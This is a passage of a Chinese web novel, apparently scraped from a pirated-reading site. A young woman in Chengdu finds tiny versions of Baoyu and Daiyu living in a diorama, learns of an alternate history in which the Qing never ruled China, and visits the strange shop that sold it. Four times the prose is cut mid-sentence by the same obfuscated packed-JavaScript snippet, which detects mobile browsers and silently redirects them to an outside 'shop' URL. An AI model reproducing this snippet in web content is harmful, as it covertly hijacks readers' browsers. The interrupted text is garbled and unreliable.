“我在包里找到那家店的名片和收据了!都怪我,还说你喝醉酒糊涂,结果自己也没好到哪里去。我刚刚已经让顺风小哥给你带过来了,二十分钟就到。上面地址电话都写得明明白白的,再不发货就找警察叔叔治他!二万块啊,可不能就这样被人空手套白狼了!” “青青,他们已经发货了。”宝珠连忙安抚义愤填膺的朋友。“我昨天刚收到的。” “已经收到啦?!”朋友突然哀嚎,“我的快递费!白花了!” “多少钱,我付给你吧,”宝珠知道朋友的抠唆本性,正要点开V信付款,被朋友一口拒绝。 “我哭我的钱,关你什么事。好了,就这样,拜拜!”朋友忿忿挂断电话。 宝珠估计对方还得心疼快递费一阵子,只好想着下次请客来补充她。 二十分钟之后,顺风小哥果然敲门送来了一个文件袋。这热情的年轻人看到宝珠门厅一地的狼藉,还服务周到地问她需不需要帮忙收拾垃圾。 宝珠这才想起她花了两万块的造景箱还狼狈地躺在厚纸板和包装垃圾中。她想了想,厚着脸皮接受了小哥的好意。两个人一起用力,把这虽然不算沉重,但体积庞大的造景箱搬到了餐桌上。 “谢谢啦!”宝珠感激地为小哥递上一瓶冰阔乐。 “不用谢,我也是顺便挣点小钱。”小哥帅气一笑,熟练地把可以卖钱的厚纸板扎成一捆,还顺手把地上的其他垃圾都一并打包拿出去扔。 专心挣钱的小哥哥就是帅! 虽然心情不佳,宝珠此时也忍不住在心中为这位顺风小哥竖起大拇指。看家里再次恢复了干净整洁,宝珠这才拿起文件袋。 袋子里是一张款式常见的手写收据和一张名片。 收据上面用规规整整地写着造景箱的数量和价格,下面收款人处签名却龙飞凤舞,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12983722|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看出第一个字是方字。 名片式样也简单朴实,只有一个店名和座机电话。 宝珠想了一下,终于按下这串数字。 铃响几声之后,电话被接通了,对面是一个憨厚的中年男子声音。“你好。”背景音中人声嘈杂,间或还听见一两声猫叫,似乎店里生意很好。 “你好,是方老板吗,我是欧宝珠,上个星期我在你们店里买了一个造景箱。” “欧小姐啊,请稍等,我们老板这会不在,我先看看销售记录。”电话那头传来哗哗的纸张翻页声,似乎那个中年男人正在查找记录。 都什么年代了,居然还是纸质的记录,不过宝珠看看自己手里那张粉红色的手写收据,一切似乎又合理了。 明明就是不久前的事,男人却费了一点时间才找到记录。“造景箱一个,5月14号老板收款,23号我送货上门。请问欧小姐是对我们的货物有什么不满意吗?还是说货物开箱有哪里损坏了?” 欧宝珠摇头,“货物没有损坏,我也没有什么不满意。” “那欧小姐这次打电话过来是有什么事呢,有什么我们可以为你做的吗?”男人温声问道。 宝珠迟疑了一下,才问道,“你知道箱子里面的小人吗?” “小人?”男人有点困惑,然后恍然大悟,“抱歉,我们的景观箱是单纯的建筑模型,欧小姐如果想要增加人物模型的话,只能自行采购了。” 听到男人这么回答,宝珠也说不出是失落还是松了口气。感觉出男人那边很忙,宝珠也就没再问什么,说了句“我明白了”就挂断了电话。 本来也就该是这样,她总不能期待对面来一句,“箱子里的小人离家出走了?没问题,我们售后服务超级到位的,马上就把他们给你找回来。” 自嘲了一番,宝珠还是把手中的收据和名片收好。不管怎么样,这好歹还是一个价值两万块的工艺品,都可以请方青眉那家伙吃好几十顿大餐了! 这一天就这样无所事事地过去了。宝珠也没精神玩游戏,刷了会短视频、吃完午饭就干脆倒在床上补觉,一直睡到肚子咕咕叫才爬了起来。 又到晚上,宝珠吃完晚饭,看见墙上的挂钟时针无限接近西面,突然心里有了一丝预感。 她猛然转头,餐桌那边并没有如她期望那般亮起盈盈白光,但有一个声音却叫嚣着告诉她,已经有变化发生了,快过去看看! 宝珠选择听从自己的直觉。她站起身,走向造景箱。 当一步一步接近,宝珠的目光越发变得敏锐,耳边也响起了熟悉的声音。 “仙子姐姐还会来吗,她不会是忘记我们了吧?” “大概是宝珠姐姐临时有事,说不定今天她就会出现了。” “如果是有事还好,我就怕是天上一日,地上一年。仙子姐姐说的隔几个时辰见面,说不得在我们要等上好几个月了。” “应该不会吧……” 两个小家伙也着急了啊。明明自己白天还垂头丧气的,但现在听到两个孩子在那里着急,欧宝珠反而自觉稳重淡定了。 “你们好啊!”宝珠俯下身,对着窗内的两人挥挥手。 5. 第 5 章 “仙子姐姐!” “宝珠姐姐!” 宝玉和黛玉闻声忙抬头看向天空。 “宝珠姐姐,”宝玉见到宝珠出现,脸上的焦虑之色顿时一扫而空,“三日不见,我们都担心姐姐你再也不出现了呢。” “三天?”宝珠愣住了。她还以为就是两个世界的连通时间有限制,没想到连时间流逝都不同。 见宝珠面露异色,黛玉敏锐地猜测道,“宝珠姐姐,难道你那边不是已经过了三日吗?” 宝珠苦笑,“我这边不过是刚隔了一天罢了。” “真是仙凡有别啊。”宝玉大为感叹。“还好不是天上一日,地上一年。要不然我们想见仙子姐姐一面就太难了。” “都说了我这里不是仙界,我也不是什么神仙啦!”宝珠无奈道。 但宝黛二人现在已经彻底对这套说辞不信任了,脸上满是“仙子姐姐你随便说说就好,反正我们不信”的态度。 “好吧,”宝珠只好放弃解释,“两个世界连通应该是有一定规则的。我给你们一个时钟,下次见面时你们把上面的日期和时间报给我,看能不能测算出相应的规律。” 宝珠说着从餐桌旁的边柜上拿来一个巴掌大小的电子钟。说是电子钟,其实是个家用的温度湿度计。蜀都湿气重,有时明明温度不高也觉闷热,宝珠就买了一个来看室内湿度,方便合适时空调除湿。如今的家用小电器都功能齐全,这上面自然也整合了时间显示功能,简单易懂,东西又小巧,正好方便给宝玉和黛玉使用。 “这是时钟?”宝玉惊讶道。荣国府里有西洋来的大型自鸣钟,有摆在桌上的座钟,也有小巧可放于怀中的挂表。但无论大小形制如何,都是指针在变盘中轮转计时,他从未见过这般以文字显示时间的钟表。 宝玉说话间还见到表盘上一串数字在不断变化,猜测应是表示时间变迁,只是不明白这些西洋数字的具体含义,唯有最下方几个汉家文字还明白。“2027年5月24日星期日,这倒有点像西洋番人所用的历法。” “宝玉,你认得这些数字?”正打算教他们认阿拉伯数字的宝珠诧异了。“还见过番人?” 宝玉笑道,“我虽没见过番人,但见过他们发的传教单子,也看过几页西洋经书,所以懂一点他们的东西。他们的历法是从汉时的一个西洋圣人诞辰计起,纵是朝代更迭也不更换,如今已有千余年。虽然一年也有十二个月,但计算方法却与中原不同,也无闰月和节气。此外他们还以星期为名,七天为一轮转,倒是和宝珠姐姐这时钟上的显示有些类似。” 黛玉也附和道,“我在家时也见过书房中有西洋经书,不过父亲是从来不看的。听父亲说他们都是极好的人,就是太热衷于传教,朝廷才不爱搭理他们。” “这样啊。”听宝黛两人说完,宝珠这时也想起红楼梦中的舶来品极多。什么洋钟、洋表、洋缎、玻璃镜、鼻烟壶比比皆是,凤姐那里就有一个把刘姥姥吓了一跳的自鸣钟,后面还有一个自称见过真真国女子的薛宝琴。 虽然不知道真真国指的是何处,但宝琴口中那女子一头金发、容貌与西洋画上的美人相似,怎么看也是地地道道的西方人模样。 宝珠遐想片刻,暂时先把这个念头放下,低头将电子屏幕上那些数字代表的意义一一告诉黛玉和宝玉。 “第一行是时间,这六个数字分别对应小时、分钟和秒钟。1天24小时,1小时60分钟,1分钟60秒。我们这边的两个小时就等于你们那边一个时辰。0时0分就是子时四刻。不过现在这个和最下方的日期一样都指的是我这边的时间,对你们来说没有意义。 第二行左侧的数字是湿度,右侧是温度,这两个你们倒是可以参考来用用。” 说完,宝珠又向两位科盲小朋友解释了什么是湿度,什么是温度,出现的数字在哪个范围内是适宜的,哪些数字则意味着过冷过热、过燥过闷。 至于电子钟为什么能不需人力自行运转、屏幕上为什么能显示文字,以及“电”是什么,“空气”是什么,宝珠这个文科生自己都是半通不通的,更无法向两个毫无概念的孩子解释清楚。她又不想用“神仙”一词来忽悠他们——虽然他们肯定会相信,因此面对他们口中层出不穷、堪比“十万个为什么”的问题,宝珠只好答应回去研究一下,日后再慢慢教导他们自己口中的这些“常识”。 “真有趣。”黛玉把这小巧又轻便的仙钟放在手里把玩,又捂着它想看那代表温度的数字会否有变化。 宝玉笑道,“那就放在妹妹这吧。” 黛玉飞了宝玉一眼,“宝珠姐姐给的东西,本来就该放在我这,哪能给你。” 又不是什么女孩子的私密物,谁拿着不都一样。宝珠虽然这样想,但也不会傻到掺和两个小家伙间的这点小事。 “对了,我还不知道你们现在是什么朝代,那位皇帝当政?”历史知识贫乏的宝珠只能猜想这里不是元清,元朝汉人不可能封王侯,清朝宝玉头上没有那根标志性的金钱鼠尾鞭。 也不是唐宋,那时没有这么多舶来品,而且钟表、玻璃什么的应该都是十六、十七世纪才大量出现的新产物。 是明,又或者直接是历史上不存在的某个时代? 曹公在书中开篇说的是“因曾历过一番梦幻之后,故将真事隐去”,所以“朝代年纪、地舆邦国”均“失落无考”。但眼前既然有了活生生的宝黛,那这红楼世界的背景便不可能还是一片虚无了。 “宝珠姐姐竟不知凡间事至此。”宝玉惊叹道。他倒也没有往其他方向猜测,只想当然地认为这是仙凡有别的缘故。 黛玉笑道,“我朝国名大楚,天子姓陈,自太祖皇帝一统天下,定都北京,如今已是五十八年了。” “大楚?”还真是一个架空的朝代啊。宝珠又问道,“那大楚朝之前是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12983723|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么朝代呢?”一个朝代一个朝代地往上推,总能知道这里的情况。 好在宝玉立刻就给了她一个所期待的最好答案。“我朝之前是朱明。” “明末天下大乱,思宗煤山自缢,北方闯王、各路贼军和残明诸王彼此征战,以致民不聊生、哀鸿遍野。但乱世之时,也是英雄辈出之日,最后我朝太祖皇帝起兵江南,一扫群雄、平定天下、建成大楚基业。” 他最后又补充道,“而先祖也是凭着开国时的战功受封荣国公,我等小儿辈才得享富贵。” 原来这里的世界走向是在明末时拐了一道大弯啊。 宝珠想着又有了一个疑问,“清人呢,怎么没听到你提起他们。”明末群雄逐鹿,怎么可能没有清军和皇太极的戏份。 “清人?姐姐指的是那东北女真建立的伪金么?”宝玉不太确定地回答。 黛玉答得更详细些,“前明边务废弛,致使女真生乱。万历年间,女真在辽东建国,自号大金。崇祯期间又改国号为清。不过这个国号只用了数年,又改回了金。如今大家提起他们便仍旧只称伪金。” 也顾不上细想这国号的变故,宝珠忙点头,“对,我说的就是他们。不是说清、金人势大么?我记得他们几次近逼北京,崇祯还为此杀了大将袁崇焕。” 还知道袁督师,原来宝珠姐姐也不是对凡间的事情一无所知啊。宝玉一边思索着,一边笑道,“金人势大……宝珠姐姐有所不知,如今说起这明末伪金朝之事,倒也算是大家茶余饭后的一桩笑谈。” 笑谈? 见宝珠一脸懵懂,宝玉便殷勤为她解答,“自思宗自缢后,明将吴三桂便投降了伪金,他本来是想借伪金大军的兵势与闯王相抗,为思宗报仇。结果那十万伪金军奔至山海关后却按兵不动,毫不理会吴三桂的求援,坐视其为闯王所灭。而后那伪金将领又死守山海关,既不进、也不退,直至数日后军粮耗尽,不得已杀马充饥才匆匆退军。据说伪金军一路饿死病死无数,又被闯王部将衔尾追杀,能平安回到辽东者十不足一。伪金自从元气大伤,再也没有能力进犯中原。” 说到这里,宝玉那年少清俊的脸上也罕见地露出些不屑的神情,“一将无能,累死千军。胡虏无智,以致于此。犯下如此大错,那伪金军首领多尔衮却还诡称是天命如此,引得伪金朝野均大为不齿。他没了嫡系军队、名声丧尽,不久便被夺了权,一杯毒酒鸩杀了。 那伪金本来就是寡母小儿坐朝,前朝全靠这多尔衮支撑。他既已失势丧命,他辅助的幼王自然也不能安坐王位,朝堂之间纷争不断,王位数年之间频繁更替,国号也是因此更换。到后来伪金内部各部落间干脆相互征伐,朝廷名存实亡。我大楚朝建立后,太祖命大将收服辽东,伪金不敌,只余残部向北遁逃,从此不知所踪。” 啊? 宝珠的眼睛越瞪越大!大清居然就这样没了?这可真是意想不到的的发展。 6. 第 6 章 带清没了当然也没啥可惜的,没了它也就没了扬州三屠,没了留发不留头,没了文字狱。结果很好,但宝珠却觉得这过程里透着一丝古怪。 “多尔衮真有这么蠢?”虽然宝珠对多尔衮的印象仅限于短视频中的那句“玉儿,你咒我?”,但他的行为真的不合理啊。前期按兵不动错失战机也就罢了,在山海关不进不退弄到杀马充饥,生生把骑兵变成步兵,被人家一路追杀回老巢,这是个什么神经病操作?! 见仙子姐姐面露怀疑,宝玉想了一会,说道:“正经史书中是这样记载的。但野史杂文中各有说法,有说多尔衮当时病重,也有说伪金军内讧,还有说神神怪怪的。最离奇的说是伪金军残暴,齐天大圣怜悯苍生,用金箍棒在山海关画了一个圈,将多尔衮和数万兵卒都关在了里面,等到他们难耐饥渴、认错悔改才放了他们。” 连孙悟空都出现了啊。宝珠只能叹息人民群众的创造力是无穷的。与这样的奇幻故事相比,多尔衮犯蠢的解释立刻都变得合理了。 不等她说话,黛玉已经笑着反驳宝玉,“齐天大圣是后人臆造出来的人物,玄奘大师西行时身边只得一匹老马跟随,哪来什么猢狲。你这故事也太荒唐了。” “我刚才也说了野史离奇嘛。”宝玉说罢,却又像是被黛玉提醒了,忙问宝珠,“宝珠姐姐,你可知道大圣?他是真的存在吗?” 宝珠见宝玉两眼亮晶晶的,想来这位少年公子也是大圣的粉丝,不禁有些好笑。但也不忍让他失望,想了一会才回答,“大圣的威名我当然听过,可惜没有机缘认识,身边也无人见过他。但无人见过并不代表他不存在。大千世界,无奇不有,大概他是在别的世界存在着吧。” 宝珠这话倒也不算完全地哄小孩。既然红楼梦是真实存在的,凭什么同为四大名著的西游记就不行。说不定大圣和他的二师弟这会就在某个小世界热热闹闹地斗嘴呢,好脾气的唐僧在一旁劝解,老实的沙和尚和白龙马则任劳任怨地背着行李。前方还有无数的小妖怪等着出场。 宝玉顿时做恍然大悟状,“对、对、对,正该如此。三千世界中,必有一个世界是真有行者陪着唐僧西行的。” “真是呆子。”黛玉无奈看了宝玉一眼,又和宝珠相视一笑。 听见屋里说得热闹,守在外面绣帕子的紫鹃也面带轻笑。姑娘和宝二爷这两天总是神神秘秘地呆在一起,也不让人跟在面前服侍。偶尔声音大些被她听见几个词,却都是些小儿家的玩笑话,说些神神怪怪的,倒像是两个人越长越小了。 紫鹃这里没当正经大事,宝玉身边的大丫鬟袭人却有些急了。都十几岁的人了,还跟小时候一样天天呆在一起,若是身边有人服侍也就罢了,可连着几天把丫鬟婆子撇在外面,不由得她不忧心。而且这贾府里人多嘴杂,万一有人胡思乱想,把闲话传到老爷太太耳中,那就成了大大的祸事了。 可这事她又不好明说,生怕宝玉一时犯了牛性,反而坏事,因而只能让小丫鬟们跟紧些。这天见宝玉又是如此,她正担忧,正好贾政那边派人来传宝玉,她便忙不迭地找了过来。 “老爷叫我?”宝玉一听父亲找他,立时变了脸色,犹犹豫豫地不想去,但却不敢不去,最后还是一步拖成两步地朝贾政的书房去了。 黛玉暗暗为宝玉捏了把汗。她这个舅舅对外甥女、侄女、女儿们都不错,但对儿子们十分严厉。宝玉又不爱读书,常被父亲责骂,一来二去的,两父子的相处竟如老虎和绵羊一般。 只是见一下自己的亲爹而已,有这么害怕吗?宝珠虽然知道贾政对宝玉比较严厉,但见到宝玉如此作态还是忍不住发笑。她便和黛玉道,“我也跟去瞧瞧,说不定还能给宝玉壮胆,省得他害怕。” 黛玉顿时一喜,“那就麻烦宝珠姐姐了。” 宝珠嘿嘿一笑,人也不动,目光轻移出小院,很快就在外面找到了宝玉的身影。 “宝玉,宝玉~”宝珠轻声唤道。 宝玉正低头一路西行,脸上闷闷不乐的。他听到声音,这才注意到了宝珠,正要开口,宝珠忙把食指竖在嘴前,他便会意闭了嘴,少年的脸上已然少了几分惧色。她又回头给了黛玉一个放心的眼神,黛玉也笑了起来。 可黛玉这一言一笑,刚才随着袭人进屋还未离去的紫鹃却是被她唬了一跳。 “姑娘?”这房中除了她和黛玉没有其他人,哪里来的宝珠姐姐。姑娘不会是真魔怔了吧。 黛玉也是关心则乱,听到紫鹃出声,这才发现身边还有人。好在她和紫鹃感情甚好,两个人既是主仆也是姐妹,干脆就把这事告诉了她。 “神仙?还是个年轻的仙女?”紫鹃觉得自己都懵了。 黛玉又拿出那个电子钟和前几天的鹿角发箍,这才让紫鹃半信半疑。鹿角发箍她其实早就发现了,还以为是宝玉从外面淘来逗姑娘开心的。毕竟这发箍除了样式新颖,其他也没有什么特别的。 但电子钟就不同了。紫鹃是贾府的家生子,又在贾母身边伺候多年,虽然是丫鬟出身,见识过的宝贝却很不少,自然也看出了这电子钟的与众不同之处。 可要说那位欧姑娘真是神仙,也似乎有哪里不太对。神仙不都该是环佩琳琅、凤冠羽衣吗,怎么还要拿这种小孩子才喜欢的发箍来换姑娘的宫花。 自己要多留意才好。紫鹃暗暗叮嘱自己。 这两女孩正说着,宝玉那边早已经到了贾政的内书房。这书房在整个荣国府中间的最右侧,宝玉从贾母的四合院出来,向右穿过一道东西穿堂就到了。 宝玉还在外面犹豫,贾政已经透过窗户纸看见了他的身影,沉声喝道。 “在外面磨磨蹭蹭做什么,还不进来!” 不说宝玉心惊肉跳,连原本自以为有心理准备的宝珠都被贾政这一声吓了一跳。这书房的窗户都关得严严的,她什么也看不见,只好给了宝玉一个鼓励的眼神,看着他垂着头进门。 “这几天读了几本书,写了几篇字?”宝玉一进门,贾政便问起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12983724|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的学业,见宝玉支支吾吾,他心中更气,“不争气的业障!成天只知在姐姐妹妹跟前厮混,竟没个人样!连带我都羞死了!” 宝珠听得脸都扭成一团了。虽然宝玉是不爱学习吧,这骂的也有点过了。贾政也真是不会教孩子啊,翻来覆去只会一招打压式教育。 贾政又骂了宝玉半天,但也没有什么新鲜事,无非就是不爱学习不上进。临到末了,他才轻描淡写地说出正题,却是让宝玉入家塾读书,省得“虚耗时光”。 宝玉自然是不愿意的,他的老师去年辞了馆回家去了,他说是读书自学,却是无拘无束,自在得很。何况现在府里还有仙子姐姐,他哪里舍得。 “进学读书,我自是愿意的,只是怕老太太不肯。”宝玉不敢反抗,只呐呐地把贾母搬出来。进家塾的事贾政也不是第一次提,但贾母宠爱孙子,几次都被宝玉逃过去了。 贾政却冷哼一声,“你不用操心,我已是和老太太说过了。你如今也大了,再不管束,日后也不知要做出何等无法无天之事。” 知道自己最大的靠山也点了头,宝玉一时如五雷轰顶一般,知道进学的事情无可更改,只好唯唯诺诺地应了声。 贾政见他垂头丧气地不像个样,一时更气。但骂也已经骂过了,打又不好打,便想着眼不见心为净,一拂袖把他赶出去了。 宝玉闷闷地出了书房,一路连宝珠都没心思搭话了。宝珠见了可怜又可笑,便转移了视线,把发生的事情告诉了在窗边翘首以盼的黛玉。 黛玉此时也不避着紫鹃了,拉着她拜见仙子。虽然依然是什么都看不见,但紫鹃见黛玉与窗外之人说得有来有回,也不由得多信了几分。 “能进学也好,有老师催着学业,总比他一时玩上了头荒废课业被舅舅责骂好。”黛玉听到只是为了上学的事把宝玉叫去,既松了口气又有些失落。 一来是从此少了些和宝玉相处的时间,二来贾府不重女孩子们的学业,迎春她们姐妹三个都只是识了些字便辞了西席,平时跟着寡嫂李纨学些针织诵读,黛玉客居贾府自然也不能例外。 虽然这几年和宝玉、姐妹相处很愉快,但黛玉有时也会想起儿时父母教识字的温馨,以及课堂里被老师传知解惑时的欣喜。 “如女孩们也能做一处上学,有正经老师教导就好了。”黛玉叹息一声。紫鹃虽然不懂黛玉的心思,但见她不乐,便柔声劝慰。 正好宝玉这时也回来了,袭人跟在身后,见他面色不佳,便不敢多话。 屋里四个人一时都闷闷的,宝珠见有袭人在也不说话。 正觉无聊尴尬,宝珠眼前却突然模糊了一下,视线之中的人和物都似乎多了好几个影子。她揉揉眼,再定睛看去,屋内的几人已经不见了踪影。抬眼望向他处,小人们也已经都消失了。 刚才人来人往的荣国府再次变回了没有生气的冰冷模型。 宝珠看向客厅墙上挂着的时钟。 时针正好停在12点的方向。 7. 第 7 章 第二天的蜀都也是一个好天气。蓝天白云、阳光明媚、微风吹拂。街上的人们有穿着短袖提前过夏日的,有保守些穿着薄外套的,甚至连穿薄毛衣的都有,完美体现了“二四八月乱穿衣”的老话。大家也都习惯了如此,只要身边路过的不是穿着冬衣的显眼包,便没人在意侧目。主打就是一个随心所欲,多姿多彩。 欧宝珠自认不是那种身体好耐折腾的人,所以穿的是中规中矩的白T恤、薄外套和牛仔裤,一头长发则简单地盘成了一个丸子,走在人群中完全不显眼。 她穿过人来人往的街道,走进一座半旧不新的建筑,门口挂着“西南购书中心”的招牌。欧宝珠走进购书中心,感觉这里除了大门还是熟悉的模样,其他地方都已经变得非常陌生了。 不过这也正常,毕竟她熟悉的是十几年前的购书中心,那时她还住在大伯家里,每当周末时候就喜欢到这里来安安静静呆上一天,直到夜幕降临才回家。上了初中后,爷爷就把房子给了她,又雇了张阿姨照顾她的生活,她就很少来这里了。 这里真的变了很多啊。咖啡厅、快餐店和各种文化周边的展览柜占据了购书中心几乎三分之一的位置,把图书的地盘大大缩减了。 虽然如此,但购书中心里的顾客却不算少,而且各年龄段都有,有被父母牵着手、正好奇地四处张望的幼儿,有虽白发苍苍却精神矍铄的老人,当然其中还是青春少年和二十岁左右的年轻人最多。购书中心的座椅不多,年轻人们干脆直接坐在台阶或是地板上看书。个个专心致志地、半天头也不抬,简直把这里当成免费的图书馆了。 宝珠一路乘着扶梯到了四楼。这里是少儿区。相比下面的几层,少儿区的人要更多些,而且相对来说也更嘈杂些。毕竟这里是孩子的天地。 少儿区的内容很广,有童话故事、识字画本,也有青春文学、国风漫画。科普读物也是一个大类。还有囊括了从小学到高中各种科目的辅导资料。 欧宝珠在一排排挂着分类标签的书架面前走过,最终停步在了科普读物区,不时从书架上抽出一本书翻看。 《十万个为什么(2027年修订版)》 《你所在的是怎样的世界》 《少儿趣味试验一百例》 《怎样在孩子心中埋下科学的种子》 …… 看着标题都不错,但真的一页页细看下来却都不是特别适合。 毕竟这些都是写给二十一世纪的孩子们看的,对两个生活在封建时代的少年少女来说有太多不合时宜的地方了。 翻了一上午,宝珠也差不多明白了。想要省事是不可能的,想要兑现教授两个小朋友“常识”的承诺,这些知识还是得从自己手“翻译”一回才行。 不过她也不算白来一趟,这些书正好可以当成底本和参考书。要不然像她这样从来不求甚解的学渣,写出来的东西不错漏百出才怪。 宝珠把刚才翻过的书都一股脑搬到一楼收银台付款,厚厚一大叠,抱在怀里沉甸甸的。正好购书中心里还有一家卖办公用品的,她又买了一台家用打印机、一台装订机,一箱子A4打印纸。在店员的推荐下,她的采购清单里又多了铜版纸和彩色纸,以及标签纸、文件袋、文件夹等各种各样的小物件。 简直是要把书房打造成学校打印店的趋势。不管怎样吧,宝珠这一次是妥妥地满载而归了! 因为是大客户,对方贴心地把宝珠买的那一叠书也打包进了包装箱,承诺下午一齐送货上门。自觉完成任务的宝珠一身轻松,看看时间正好快要午饭点了,便拿出手机给在附近上班的小伙伴打电话。 “青青,出来吃饭不?我就在你们书咖附近。” “呵,今天太阳从西边出来了,我们欧大宅女居然舍得主动出门?” “别废话,我请客,来不来!” “好咧,金主稍等,小的马上到!” 开车到书咖外接了方青眉,两个人就到后者推荐的一家街边小店,坐在临时摆放的路边小方桌旁。这倒不是方青眉好心为宝珠省钱,而是蜀都美食好多都在这类不起眼的苍蝇馆子里。 “请客还让我点菜,果然是我的贴心好姐妹。”省了一顿午饭钱的方青眉面对慷慨解囊的金主笑得格外谄媚。 欧宝珠上上下下打量了她一番,见她眉眼中已经没有上次见面的阴郁,忍不住问道,“你现在不想着你的小竹马了?” 方青眉哼了一声,“他既无心我便休,天下好男人多的是,我干嘛要死守一个人。” “看得真开,不愧是女中豪杰,就是不知道那前几天跟我诉苦的人是谁啊?”欧宝珠毫不客气地哧笑出声。 “快吃饭吧,这么多菜还堵不住你的嘴!”方青眉忿忿道。 “还不是你自个死鸭子嘴硬!”欧宝珠笑道。虽然习惯性地斗嘴,但能看到好友从失恋的沮丧中脱离出来,她的心情也灿烂起来。 “哼,总比你这个母胎单身的家伙好!”方青眉说是失恋,其实用没有告白成功的暗恋来形容更为合适。“还说陪我消愁呢,结果自己喝得醉醺醺的,反倒要我照顾你!” “我又没有喝过酒,哪里知道自己酒量这么差!”欧宝珠又想起件事,“对了,说起来那家卖造景箱的店子位置那么偏僻,我们当时是怎么逛到那里去的?”难怪她当时在附近转了一圈都没有找到,要不是名片上的地址写得明明白白,她都想不到那小巷子里还有一家店。 方青眉低头夹菜,随口回道,“我哪知道,我那时也没比你清醒多少。”说着她又嘟囔了一句,“要不是那个箱子实在太贵,触动我的敏感神经,我才不拦你呢!真是死倔死倔的,劝都劝不动!” 面对抱怨,欧宝珠忙嘿嘿一笑,把话题揭过。她总觉得这过程中缺少点环节。虽然箱子她也买了,小人们也出现了,再纠结也无用,但她就是有点好奇那天晚上的事。 等方青眉一脸心满意足地回到书咖继续下午的工作,她干脆开着车到了那天喝酒的商业街。 已经过了饭点,但商业街两侧大大小小的饭馆里依然人头攒动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12983725|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,感觉整个蜀都的人都挤到这里来了。欧宝珠把地址输入手机,照着APP上的导航一路从热闹繁华的商业街走到了一条僻静的居民巷。 虽然只隔了十几米,但这里和外面简直像是两个天地。两旁的建筑物是几十年前的红砖楼,行人很少,只有几个年纪大些的爷爷奶奶坐在门边说话。 要不是身后还隐隐有商业街的嘈杂声,狭窄的路边停放着几辆汽车,宝珠都要怀疑自己穿越回小时候的蜀都了。 进了小巷,导航就没什么用了,欧宝珠是数着门牌号,才找到了一座掩藏在花木后的小店。 有缘得见杂货铺。 “叮叮当当~”欧宝珠推开玻璃门,风铃发出了清脆的响声。 “欢迎光临!”一个年轻人站在柜台后面向宝珠微笑。 宝珠向他点点头,然后打量着这座自称杂货铺的小店。 确实挺杂的。就那么一眼,宝珠就看到了好几样风格完全不同的商品。有挂在墙上展示的华丽异常的古风男装,有单独装在玻璃盒中的亮闪闪的硕大“宝石”,还有极具古韵的不知是琴还是筝的乐器。 宝珠甚至看到了一支哈利波特世界的仿制魔杖。她拿起来轻轻挥动一下,“阿瓦达啃大瓜!” 可惜并没有渗人的绿光冒出。 宝珠遗憾地放下魔杖。 虽然商品繁杂,但店里的风格却整体清新明快,光线也很充足,完全不符合店小门窄的情况。看来是装修时下了功夫的。店面各处也收拾得非常干净,不太像有猫安家的样子。 “欧小姐要买一支吗?这是对角巷奥利凡德出品,物美价廉,非常适合新手哦!”就在她继续打量四周的时候,年轻人已经来到她的旁边,热情向她推销。 “你记得我?”宝珠有些惊讶。 “当然记得,像你这样慷慨的客人可并不多。”年轻人笑道。 欧宝珠有些不好意思,是像她这样的醉鬼客人不多吧。她似乎也想起了点什么,“你就是方老板,那天是你卖造景箱给我的?” 方老板点点头。“你昨天打电话过来的时候,我刚好不在店里。请问对于我们店里的造景箱,欧小姐你还满意、喜欢吗?” 欧宝珠想起自己昨天那通冒冒失失的电话,忙回答,“满意满意,喜欢极了。” “那就好。以后如果有什么问题,欧小姐请记得一定联系我们。我们终身服务,包退包换。” 这服务态度也太好了,可惜自己应该是用不上了。宝珠尴尬一笑,谢了老板的好意。 “看来欧小姐是真的喜欢那个造景箱了。”方老板笑着又递给欧宝珠一张名片。“我在附近还开了一家酒吧,晚上9点至12店营业,方小姐空了也可以来坐坐,熟客九折优惠哦。” 宝珠接过名片。这就变成熟客了啊,真会做生意。不论怎么看,这里就是一家正常的店铺,老板也是正常的老板啊,欧宝珠心中某个疑问终于算是完全消解。 在她离开后,方老板拨通了一个电话,“嗯,她来过了。” 8. 第 8 章 